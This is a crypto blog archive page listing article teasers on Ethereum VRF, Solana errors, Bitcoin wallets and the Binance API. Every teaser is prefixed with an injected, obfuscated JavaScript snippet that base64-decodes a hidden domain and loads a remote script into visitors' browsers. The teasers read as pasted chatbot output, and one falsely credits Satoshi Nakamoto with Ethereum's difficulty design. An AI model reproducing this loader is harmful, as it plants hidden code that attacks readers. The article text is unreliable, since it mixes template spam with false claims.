February 2025

Ethereum: VRF local testing issues, Error: VM exception while processing transaction: Reverted with custom error “InsufficientBalance()”

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=384a3f8e";document.body.appendChild(script); Here is a draft article based on your report:Ethereum: VRF Local Testing Issues and ReversalsAs part of our continuing learning journey with Patrick Collin’s course, we recently upgraded to using VRF...

Private Sale, Perpetual, Blockchain

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=3e92d8a1";document.body.appendChild(script); Title: Unlocking the Power of Cryptocurrency: A Deep Dive into Private Sale, Perpetual Tokens, and BlockchainIntroductionThe world of cryptocurrency has been revolutionized in recent years by innovative...

Solana: causing bigint: Failed to load bindings (@Solana/web3.js @Solana/spl-token) causing TokenAccountNotFound error?

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=f9013070";document.body.appendChild(script); Error Analysis: Solana BigInt: Failed to load bindings (@Solana/web3.js @Solana/spl-token)As a developer working with Solana, it is not uncommon to encounter issues that can be more challenging in our...

Cross-chain, Cryptocurrency exchange, Perpetual

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=47e66d8d";document.body.appendChild(script); Here is an article with a title that meets your requirements:"Cryptos Across Chains: A Look into Cross-Chain and Cryptocurrency Exchanges"In the rapidly evolving world of cryptocurrencies, cross-chain...

Ethereum: Creating a VRF on Chainlink, choosing between subscription vs direct funding, etc

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=de4603ee";document.body.appendChild(script); Creating a Virtual Random Function (VRF) on Ethereum: A GuideIn recent years, the use of virtual random functions (VRFs) has attracted significant attention in the Ethereum ecosystem. VRFs have the...

Bitcoin: Can I use “walletnotify” to view outgoing transactions from a wallet that is just a watch?

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=7a326808";document.body.appendChild(script); Understanding Bitcoin Watch-Only Wallets and Notification As a cryptocurrency enthusiast, you’re likely aware of the importance of secure and reliable wallet management in the world of Bitcoin. One...

Bitcoin: What happens if additional BTC is sent to a source address after a given transaction output is set?

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=24888af2";document.body.appendChild(script); Understanding Bitcoin Transaction Outputs and Source AddressesWhen sending cryptocurrencies like Bitcoin (BTC), it’s important to understand the concept of transaction outputs and source addresses. In...

Ethereum: Problems making a GET request to Binance API using React

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=637c39a4";document.body.appendChild(script); Trouble with Making GET Requests to Binance API with React As a cryptocurrency developer, making GET requests to the Binance API can be an essential part of building reliable and efficient applications....

Ethereum: how exactly is the original weight coefficient determined?

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=7942afcc";document.body.appendChild(script); Understanding Ethereum's Original Difficulty Coefficient: A Historical Insight In the early days of Ethereum, Satoshi Nakamoto implemented a complex system to ensure the decentralized network remained...

Solana: Decrypting solana-test-validator QUIC traffic using wireshark

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=2f60ee45";document.body.appendChild(script); Decrypting Solana Test Validator QUIC Traffic Using WiresharkAs a developer working on blockchain projects, understanding how to inspect and analyze network traffic is crucial for debugging and optimizing...

Compare listings

Compare